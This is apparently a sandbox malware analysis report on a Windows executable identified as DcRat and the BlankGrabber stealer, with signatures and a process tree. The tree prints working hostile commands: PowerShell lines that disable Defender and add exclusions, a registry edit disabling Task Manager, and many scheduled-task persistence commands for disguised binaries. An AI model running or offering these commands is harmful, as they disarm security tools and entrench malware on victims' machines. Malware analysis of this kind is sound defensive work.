Overview

overview

10

Static

static

10

xbe497967f...f5.exe

windows10-2004-x64

10

xbe497967f...f5.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    15/04/2026, 15:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    xbe497967fab109cb4b752a5289594fcf415ef0e5aad111999dc3c3708c1c9ef5.exe
  • Size 14.4MB
  • Sample260415-sfbpeads2y
  • SHA256 be497967fab109cb4b752a5289594fcf415ef0e5aad111999dc3c3708c1c9ef5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionblankgrabberdcratinfostealerpersistenceratstealertrojanupx

Malware Config

Signatures

  • Family: DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Family: blankgrabber

    Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.

    stealerblankgrabber
  • A stealer written in Python and packaged with Pyinstaller 2 IoCs
  • DCRat payload 8 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Process spawned unexpected child process 63 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • UAC bypass 3 TTPs 9 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Using powershell.exe command.

    execution
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Executes dropped EXE 28 IoCs
  • Loads dropped DLL 18 IoCs
  • Checks whether UAC is enabled 1 TTPs 6 IoCs
    defense_evasiontrojan
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • SmartAssembly .NET packer 5 IoCs

    Detects SmartAssembly .NET packer.

  • UPX packed file 54 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 63 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • System policy modification 1 TTPs 9 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\xbe497967fab109cb4b752a5289594fcf415ef0e5aad111999dc3c3708c1c9ef5.exe
    "C:\Users\Admin\AppData\Local\Temp\xbe497967fab109cb4b752a5289594fcf415ef0e5aad111999dc3c3708c1c9ef5.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:436
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:648
      • C:\Users\Admin\AppData\Local\Temp\Built.exe
        "C:\Users\Admin\AppData\Local\Temp\Built.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1316
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3880
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:788
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1104
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:448
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3084
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3508
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2088
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2508
    • C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
      "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3564
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\comwinrefperfnet\U5o1V84T5XpfbHy9S.vbe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3860
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\comwinrefperfnet\VsGzN8DgQ7abRJ2KBpJU3.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4016
          • C:\comwinrefperfnet\comServerdll.exe
            "C:\comwinrefperfnet\comServerdll.exe"
            5⤵
            • UAC bypass
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • System policy modification
            PID:3088
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\comwinrefperfnet\comServerdll.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5368
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\PortRefhostDll\spoolsv.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5376
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\csrss.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5384
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\PortRefhostDll\explorer.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5392
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\comwinrefperfnet\cmd.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5400
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Mail\SearchHost.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5408
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\conhost.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5416
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\comwinrefperfnet\Idle.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5424
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\HAlqn1q1rQ.bat"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:5900
              • C:\Windows\system32\w32tm.exe
                w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                7⤵
                  PID:6108
                • C:\Recovery\WindowsRE\conhost.exe
                  "C:\Recovery\WindowsRE\conhost.exe"
                  7⤵
                  • UAC bypass
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  • System policy modification
                  PID:6588
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\b3FUfZROOv.bat"
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:6904
                    • C:\Windows\system32\w32tm.exe
                      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                      9⤵
                        PID:6968
                      • C:\Recovery\WindowsRE\conhost.exe
                        "C:\Recovery\WindowsRE\conhost.exe"
                        9⤵
                        • UAC bypass
                        • Executes dropped EXE
                        • Checks whether UAC is enabled
                        • System policy modification
                        PID:7000
              • C:\Windows\SysWOW64\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                5⤵
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:5516
        • C:\Users\Admin\AppData\Local\Temp\123.exe
          "C:\Users\Admin\AppData\Local\Temp\123.exe"
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:4144
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\PortRefhostDll\kwADOEwaHV0iJLCsBWRK.vbe"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4328
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\PortRefhostDll\wdhxs.bat" "
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1724
              • C:\PortRefhostDll\Runtimemonitor.exe
                "C:\PortRefhostDll\Runtimemonitor.exe"
                5⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Drops file in Windows directory
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1268
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\orNgARCIg5.bat"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2216
                  • C:\Windows\system32\w32tm.exe
                    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                    7⤵
                      PID:1428
                    • C:\Recovery\WindowsRE\dllhost.exe
                      "C:\Recovery\WindowsRE\dllhost.exe"
                      7⤵
                      • Executes dropped EXE
                      PID:6388
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\PortRefhostDll\spoolsv.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1688
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\PortRefhostDll\spoolsv.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4152
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\PortRefhostDll\spoolsv.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3236
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\csrss.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3896
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\csrss.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4340
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\csrss.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3788
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\PortRefhostDll\explorer.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3284
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\PortRefhostDll\explorer.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2476
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\PortRefhostDll\explorer.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3180
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 7 /tr "'C:\comwinrefperfnet\cmd.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2076
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\comwinrefperfnet\cmd.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:420
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 9 /tr "'C:\comwinrefperfnet\cmd.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2072
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Mail\SearchHost.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2984
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SearchHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\SearchHost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3364
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Mail\SearchHost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3872
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1032
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1360
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2996
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\comwinrefperfnet\Idle.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3200
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\comwinrefperfnet\Idle.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2744
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'C:\comwinrefperfnet\Idle.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4368
        • C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\csrss.exe
          "C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\csrss.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:3068
        • C:\comwinrefperfnet\cmd.exe
          "C:\comwinrefperfnet\cmd.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4104
        • C:\PortRefhostDll\spoolsv.exe
          "C:\PortRefhostDll\spoolsv.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1036
        • C:\PortRefhostDll\explorer.exe
          "C:\PortRefhostDll\explorer.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4300
        • C:\Recovery\WindowsRE\conhost.exe
          "C:\Recovery\WindowsRE\conhost.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:3556
        • C:\Program Files (x86)\Windows Mail\SearchHost.exe
          "C:\Program Files (x86)\Windows Mail\SearchHost.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4388
        • C:\comwinrefperfnet\Idle.exe
          "C:\comwinrefperfnet\Idle.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1852
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Documents\cmd.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4416
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Users\Default\Documents\cmd.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1652
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Documents\cmd.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4488
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Windows\tracing\cmd.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1224
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Windows\tracing\cmd.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1564
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Windows\tracing\cmd.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2496
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Windows\Media\conhost.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2032
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\Media\conhost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3640
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 10 /tr "'C:\Windows\Media\conhost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3940
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\PortRefhostDll\sppsvc.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3300
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\PortRefhostDll\sppsvc.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3176
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 13 /tr "'C:\PortRefhostDll\sppsvc.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3380
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 5 /tr "'C:\Program Files\7-Zip\SearchHost.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4196
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SearchHost" /sc ONLOGON /tr "'C:\Program Files\7-Zip\SearchHost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1508
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 8 /tr "'C:\Program Files\7-Zip\SearchHost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4260
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\SearchHost.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1820
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SearchHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\SearchHost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3916
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\SearchHost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4024
        • C:\Windows\Media\conhost.exe
          "C:\Windows\Media\conhost.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1944
        • C:\Recovery\WindowsRE\SearchHost.exe
          "C:\Recovery\WindowsRE\SearchHost.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4368
        • C:\Users\Default\Documents\cmd.exe
          "C:\Users\Default\Documents\cmd.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1208
        • C:\PortRefhostDll\sppsvc.exe
          "C:\PortRefhostDll\sppsvc.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:3356
        • C:\Program Files\7-Zip\SearchHost.exe
          "C:\Program Files\7-Zip\SearchHost.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4416
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Windows\Setup\State\RuntimeBroker.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1564
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\Setup\State\RuntimeBroker.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3920
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Windows\Setup\State\RuntimeBroker.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3640
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Defender\de-DE\conhost.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2888
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\de-DE\conhost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3208
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Defender\de-DE\conhost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3552
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3368
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4024
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2528
        • C:\Windows\Setup\State\RuntimeBroker.exe
          "C:\Windows\Setup\State\RuntimeBroker.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:5100
        • C:\Program Files (x86)\Windows Defender\de-DE\conhost.exe
          "C:\Program Files (x86)\Windows Defender\de-DE\conhost.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:3972
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\Templates\csrss.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1284
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\All Users\Templates\csrss.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4092
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\Templates\csrss.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2096
        • C:\Windows\system32\schtasks.exe
